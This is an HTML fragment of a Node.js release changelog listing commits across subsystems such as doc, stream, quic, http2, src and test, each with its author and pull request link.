<li>[<a href="https://github.com/nodejs/node/commit/018c7f1c01"><code>018c7f1c01</code></a>] - <strong>doc</strong>: replace large tables in crypto.md and webcrypto.md with lists (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64582" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64582/hovercard">#64582</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf82de8d8b"><code>cf82de8d8b</code></a>] - <strong>doc</strong>: note --env-file is not applied to --run (Paul Bouchon) <a href="https://github.com/nodejs/node/pull/64442" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64442/hovercard">#64442</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e635ce5201"><code>e635ce5201</code></a>] - <strong>doc</strong>: fix typo in embedding.md (greenhead) <a href="https://github.com/nodejs/node/pull/64425" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64425/hovercard">#64425</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b1f6eda3f"><code>0b1f6eda3f</code></a>] - <strong>doc</strong>: fix typos in contributing docs (Donghoon Kang) <a href="https://github.com/nodejs/node/pull/64520" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64520/hovercard">#64520</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d978ce80ef"><code>d978ce80ef</code></a>] - <strong>doc</strong>: document TLS alpnProtocol and servername fields (Tim Perry) <a href="https://github.com/nodejs/node/pull/64362" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64362/hovercard">#64362</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394669e3b3"><code>394669e3b3</code></a>] - <strong>doc</strong>: fix spelling in devcontainer guide (한만욱) <a href="https://github.com/nodejs/node/pull/64459" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64459/hovercard">#64459</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9786a593ea"><code>9786a593ea</code></a>] - <strong>doc</strong>: clarify PEM format for signing keys (Harjoth Khara) <a href="https://github.com/nodejs/node/pull/64404" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64404/hovercard">#64404</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6251f832ba"><code>6251f832ba</code></a>] - <strong>doc</strong>: fix typo in tls.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64458/hovercard">#64458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8656c40ad"><code>b8656c40ad</code></a>] - <strong>doc</strong>: document net Socket server property (Efe Karasakal) <a href="https://github.com/nodejs/node/pull/64364" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64364/hovercard">#64364</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03e9c738f3"><code>03e9c738f3</code></a>] - <strong>doc</strong>: update a Dispatcher undici doc link (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64358" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64358/hovercard">#64358</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6dd2debf0"><code>b6dd2debf0</code></a>] - <strong>doc</strong>: fix typos in documentation (Jungwon Sohn) <a href="https://github.com/nodejs/node/pull/64466" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64466/hovercard">#64466</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b7d778c3c"><code>3b7d778c3c</code></a>] - <strong>doc</strong>: clarify fixes and refs trailer guidance (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64421" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64421/hovercard">#64421</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb086a6e03"><code>eb086a6e03</code></a>] - <strong>doc</strong>: remove duplicate VirtualProvider description (Archkon) <a href="https://github.com/nodejs/node/pull/64400" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64400/hovercard">#64400</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc221a8cd7"><code>bc221a8cd7</code></a>] - <strong>doc</strong>: add scope overview tables for TestsStream events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/64386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64386/hovercard">#64386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b3dbd36df"><code>4b3dbd36df</code></a>] - <strong>doc</strong>: clarify proxy threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64366" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64366/hovercard">#64366</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5526f69d6"><code>c5526f69d6</code></a>] - <strong>doc</strong>: add note about restricted CI to pull-requests.md (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64321/hovercard">#64321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/968eaf6538"><code>968eaf6538</code></a>] - <strong>doc</strong>: various updates to releases.md (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64198" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64198/hovercard">#64198</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a51f8ba8e"><code>2a51f8ba8e</code></a>] - <strong>doc</strong>: remove obsolete --napi-modules doc entry (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64220" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64220/hovercard">#64220</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee5a54535e"><code>ee5a54535e</code></a>] - <strong>doc,test</strong>: widen fsPromises.appendFile()'s data type, add missing tests (Jimmy Leung) <a href="https://github.com/nodejs/node/pull/64279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64279/hovercard">#64279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b923df86fc"><code>b923df86fc</code></a>] - <strong>events</strong>: avoid retaining removed event names (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64475/hovercard">#64475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d8d413ff5"><code>7d8d413ff5</code></a>] - <strong>events</strong>: optimize once() and removeListener() (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64373/hovercard">#64373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2f8881d2a"><code>f2f8881d2a</code></a>] - <strong>ffi</strong>: evaluate function signatures once (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64559/hovercard">#64559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b04f82d7b"><code>9b04f82d7b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>ffi</strong>: add getCurrentEventLoop (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/64323" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64323/hovercard">#64323</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a3ef5b2b5"><code>4a3ef5b2b5</code></a>] - <strong>fs</strong>: add pattern cache for matchGlobPattern() (bq) <a href="https://github.com/nodejs/node/pull/63915" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63915/hovercard">#63915</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce113efcac"><code>ce113efcac</code></a>] - <strong>fs</strong>: fix cp symlink and EEXIST handling on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/64353" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64353/hovercard">#64353</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3be3041ac9"><code>3be3041ac9</code></a>] - <strong>http</strong>: fix perf_hooks detail.req.url port and proxied path (Stefano Baghino) <a href="https://github.com/nodejs/node/pull/64311" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64311/hovercard">#64311</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0047ad73cf"><code>0047ad73cf</code></a>] - <strong>http</strong>: remove unused n arg from IncomingMessage._read (Efe Karasakal) <a href="https://github.com/nodejs/node/pull/64370" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64370/hovercard">#64370</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d48984d5c"><code>4d48984d5c</code></a>] - <strong>http2</strong>: don't throw when destroying socket proxy (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64427" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64427/hovercard">#64427</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3329647762"><code>3329647762</code></a>] - <strong>http2</strong>: avoid copying the options in respond() (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64265/hovercard">#64265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a44fca5e24"><code>a44fca5e24</code></a>] - <strong>http2</strong>: avoid per-write closures in kWriteGeneric (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64265/hovercard">#64265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/546e0e70a1"><code>546e0e70a1</code></a>] - <strong>inspector</strong>: add --cond to node inspect probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64328/hovercard">#64328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b38a39dd96"><code>b38a39dd96</code></a>] - <strong>lib</strong>: use <code>assignFunctionName</code> util where it makes sense (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64515" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64515/hovercard">#64515</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f60a12b94f"><code>f60a12b94f</code></a>] - <strong>lib,tools</strong>: add <code>node-core/func-name-matching</code> lint rule (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/57901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57901/hovercard">#57901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e6e9d4745"><code>9e6e9d4745</code></a>] - <strong>meta</strong>: lower stale to 3 months (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64569" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64569/hovercard">#64569</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dd11c4993"><code>3dd11c4993</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64315" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64315/hovercard">#64315</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f55208104"><code>3f55208104</code></a>] - <strong>module</strong>: add two tests for eager imports when using <code>import defer</code> (Maya Lekova) <a href="https://github.com/nodejs/node/pull/64197" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64197/hovercard">#64197</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c791eedc9d"><code>c791eedc9d</code></a>] - <strong>net</strong>: support sync connect for BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/64375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64375/hovercard">#64375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4df4a3fc61"><code>4df4a3fc61</code></a>] - <strong>net</strong>: make TCP Server and Socket transferable across worker threads (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64225" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64225/hovercard">#64225</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dd34d7d06"><code>5dd34d7d06</code></a>] - <strong>path</strong>: add benchmarks for path.matchesGlob() (bq) <a href="https://github.com/nodejs/node/pull/63915" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63915/hovercard">#63915</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e520646b6"><code>8e520646b6</code></a>] - <strong>quic</strong>: defer server session emit until TLS ClientHello is processed (Tim Perry) <a href="https://github.com/nodejs/node/pull/64132" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64132/hovercard">#64132</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b8cc9a3fb"><code>4b8cc9a3fb</code></a>] - <strong>quic</strong>: preserve session stats after close (한만욱) <a href="https://github.com/nodejs/node/pull/64489" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64489/hovercard">#64489</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/591090ca85"><code>591090ca85</code></a>] - <strong>quic</strong>: add support for TLS certificate compression (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/64434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64434/hovercard">#64434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d636c9c30f"><code>d636c9c30f</code></a>] - <strong>quic</strong>: extract transport logic from Application to Session (Tim Perry) <a href="https://github.com/nodejs/node/pull/64127" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64127/hovercard">#64127</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abb62f961f"><code>abb62f961f</code></a>] - <strong>quic</strong>: correct http3 callback and fix revealed errs (Marten Richter) <a href="https://github.com/nodejs/node/pull/64289" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64289/hovercard">#64289</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f535fdbe8"><code>5f535fdbe8</code></a>] - <strong>quic</strong>: fix no onstream handler crash quic (Efe) <a href="https://github.com/nodejs/node/pull/64158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64158/hovercard">#64158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/933e5f14b5"><code>933e5f14b5</code></a>] - <strong>quic</strong>: fix stall datagrams, if no pending streams (Marten Richter) <a href="https://github.com/nodejs/node/pull/64303" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64303/hovercard">#64303</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/272632a57f"><code>272632a57f</code></a>] - <strong>quic</strong>: fix potential crash from unobserved closed (Tim Perry) <a href="https://github.com/nodejs/node/pull/64134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64134/hovercard">#64134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2d5f445489"><code>2d5f445489</code></a>] - <strong>sqlite</strong>: read column count after step in StatementSync.all() (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/64219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64219/hovercard">#64219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54929af44e"><code>54929af44e</code></a>] - <strong>src</strong>: avoid redundant KEM encapsulation copies (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64553/hovercard">#64553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5380bf28b3"><code>5380bf28b3</code></a>] - <strong>src</strong>: avoid redundant DataPointer reallocations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64552/hovercard">#64552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ff5a1b834"><code>6ff5a1b834</code></a>] - <strong>src</strong>: fix comment typos (Jungwon Sohn) <a href="https://github.com/nodejs/node/pull/64509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64509/hovercard">#64509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/508ec0e435"><code>508ec0e435</code></a>] - <strong>src</strong>: zero-initialize cap_data in node_credentials.cc (Samuel Kapust) <a href="https://github.com/nodejs/node/pull/64347" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64347/hovercard">#64347</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5090a36c1"><code>c5090a36c1</code></a>] - <strong>src</strong>: fix some typo errors and rename some variables (Archkon) <a href="https://github.com/nodejs/node/pull/64301" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64301/hovercard">#64301</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a89bef69e"><code>0a89bef69e</code></a>] - <strong>src,permission</strong>: do not throw on denied access in audit mode (Adrián Estrada) <a href="https://github.com/nodejs/node/pull/64426" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64426/hovercard">#64426</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/63e71195c5"><code>63e71195c5</code></a>] - <strong>stream</strong>: abort pending single-source merge reads (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64445" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64445/hovercard">#64445</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f403b30c3d"><code>f403b30c3d</code></a>] - <strong>stream</strong>: use RangeError for broadcast overflow (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64420" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64420/hovercard">#64420</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c0578cbf7"><code>5c0578cbf7</code></a>] - <strong>stream</strong>: skip null output from stateful transforms (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64462/hovercard">#64462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0488d02d5d"><code>0488d02d5d</code></a>] - <strong>stream</strong>: update iterable streams to use budget backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/64464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64464/hovercard">#64464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0811baeef"><code>f0811baeef</code></a>] - <strong>stream</strong>: remove custom <code>CloneableDOMException</code> implementation (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64469/hovercard">#64469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10f3f9682e"><code>10f3f9682e</code></a>] - <strong>stream</strong>: fix drop-newest behavior in share() (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64417/hovercard">#64417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2aad973b29"><code>2aad973b29</code></a>] - <strong>stream</strong>: resume flow when an errored pipe destination is removed (Mahin Anowar) <a href="https://github.com/nodejs/node/pull/64310" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64310/hovercard">#64310</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6112ed5ceb"><code>6112ed5ceb</code></a>] - <strong>stream</strong>: fold desired-size check into WHATWG backpressure update (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64451" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64451/hovercard">#64451</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d829aa1138"><code>d829aa1138</code></a>] - <strong>stream</strong>: validate writer options signal (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64385/hovercard">#64385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e7a5e940e"><code>8e7a5e940e</code></a>] - <strong>stream</strong>: reject push iterator.throw() with error (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64380" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64380/hovercard">#64380</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4390f81294"><code>4390f81294</code></a>] - <strong>stream</strong>: simplify nested <code>PromisePrototypeThen</code>s (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64470/hovercard">#64470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddf2c38e9d"><code>ddf2c38e9d</code></a>] - <strong>stream</strong>: use the ring buffer for WHATWG stream request queues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64431/hovercard">#64431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518d81b36d"><code>518d81b36d</code></a>] - <strong>stream</strong>: validate writevSync chunks before queuing (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64300/hovercard">#64300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f745c4261d"><code>f745c4261d</code></a>] - <strong>stream</strong>: speed up reads and iteration over default WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64320" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64320/hovercard">#64320</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4bce62fe"><code>4f4bce62fe</code></a>] - <strong>stream</strong>: copy SAB-backed chunks in iter consumers (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64382/hovercard">#64382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f29937d26f"><code>f29937d26f</code></a>] - <strong>stream</strong>: reject nested async streamables in from() (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64352" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64352/hovercard">#64352</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/424cec71b7"><code>424cec71b7</code></a>] - <strong>stream</strong>: avoid draining merged iter sources (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64293/hovercard">#64293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01906180c"><code>e01906180c</code></a>] - <strong>stream</strong>: use ring buffer for WHATWG stream queues (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/64312" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64312/hovercard">#64312</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a0193f666"><code>0a0193f666</code></a>] - <strong>stream</strong>: hoist repeated loads in readable paths (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/64312" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64312/hovercard">#64312</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ebe16003b6"><code>ebe16003b6</code></a>] - <strong>stream</strong>: prefer sync iterator in fromSync (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64294" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64294/hovercard">#64294</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f249614835"><code>f249614835</code></a>] - <strong>stream</strong>: speed up async iteration over WHATWG byte streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64291" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64291/hovercard">#64291</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7331118699"><code>7331118699</code></a>] - <strong>stream, quic</strong>: update iterable streams backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/64464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64464/hovercard">#64464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46b117729d"><code>46b117729d</code></a>] - <strong>test</strong>: update quic tests for stream/iter update (James M Snell) <a href="https://github.com/nodejs/node/pull/64464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64464/hovercard">#64464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b122ca5389"><code>b122ca5389</code></a>] - <strong>test</strong>: fix flaky http2 socket proxy test (Tim Perry) <a href="https://github.com/nodejs/node/pull/64673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64673/hovercard">#64673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68c46146fd"><code>68c46146fd</code></a>] - <strong>test</strong>: apply correction to comment (Rich Trott) <a href="https://github.com/nodejs/node/pull/64524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64524/hovercard">#64524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7e119b26b"><code>d7e119b26b</code></a>] - <strong>test</strong>: keep finalization before-exit ref alive (Tim Perry) <a href="https://github.com/nodejs/node/pull/64521" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64521/hovercard">#64521</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0db4e10a0c"><code>0db4e10a0c</code></a>] - <strong>test</strong>: copyedit <code>test-tls-psk-alpn-callback-exception-handling</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63485/hovercard">#63485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21389f7b25"><code>21389f7b25</code></a>] - <strong>test</strong>: fix stale async-context-frame status entries (Kirill Saied) <a href="https://github.com/nodejs/node/pull/64141" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64141/hovercard">#64141</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af55304846"><code>af55304846</code></a>] - <strong>test</strong>: update WPT for urlpattern to 5847ee5cfa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64436" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64436/hovercard">#64436</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43a5ce4e00"><code>43a5ce4e00</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to ec2fee39a4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64435" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64435/hovercard">#64435</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11ca52a521"><code>11ca52a521</code></a>] - <strong>test</strong>: fix flaky http2 maxOriginSetSize test (Tim Perry) <a href="https://github.com/nodejs/node/pull/64407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64407/hovercard">#64407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af08a11e77"><code>af08a11e77</code></a>] - <strong>test</strong>: fix 2nd flaky blob test case (Tim Perry) <a href="https://github.com/nodejs/node/pull/64391" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64391/hovercard">#64391</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0104ae1171"><code>0104ae1171</code></a>] - <strong>test</strong>: fix flaky watch + cwd + argv test-runner test (Tim Perry) <a href="https://github.com/nodejs/node/pull/64372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64372/hovercard">#64372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3ff5fe3f4"><code>b3ff5fe3f4</code></a>] - <strong>test</strong>: normalize Windows crash in debugger test normalization (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64332" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64332/hovercard">#64332</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4cdceb7436"><code>4cdceb7436</code></a>] - <strong>test</strong>: unmark flaky http2-large-file for Win (Kirill Saied) <a href="https://github.com/nodejs/node/pull/64255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64255/hovercard">#64255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19f529377b"><code>19f529377b</code></a>] - <strong>test</strong>: unmark flaky SEA snapshot tests on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/64317" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64317/hovercard">#64317</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66f9b342ef"><code>66f9b342ef</code></a>] - <strong>test</strong>: increase timeout in consumed-timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64204/hovercard">#64204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fdbbf0ae6d"><code>fdbbf0ae6d</code></a>] - <strong>test</strong>: handle null stdio streams in spawnSyncAndAssert helper (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64273" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64273/hovercard">#64273</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10ea17dafe"><code>10ea17dafe</code></a>] - <strong>test</strong>: remove impact of tier-up changes in worker stack size test (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64271/hovercard">#64271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb51f2c960"><code>bb51f2c960</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add context.log() and test:log event (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/64389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64389/hovercard">#64389</a></li>
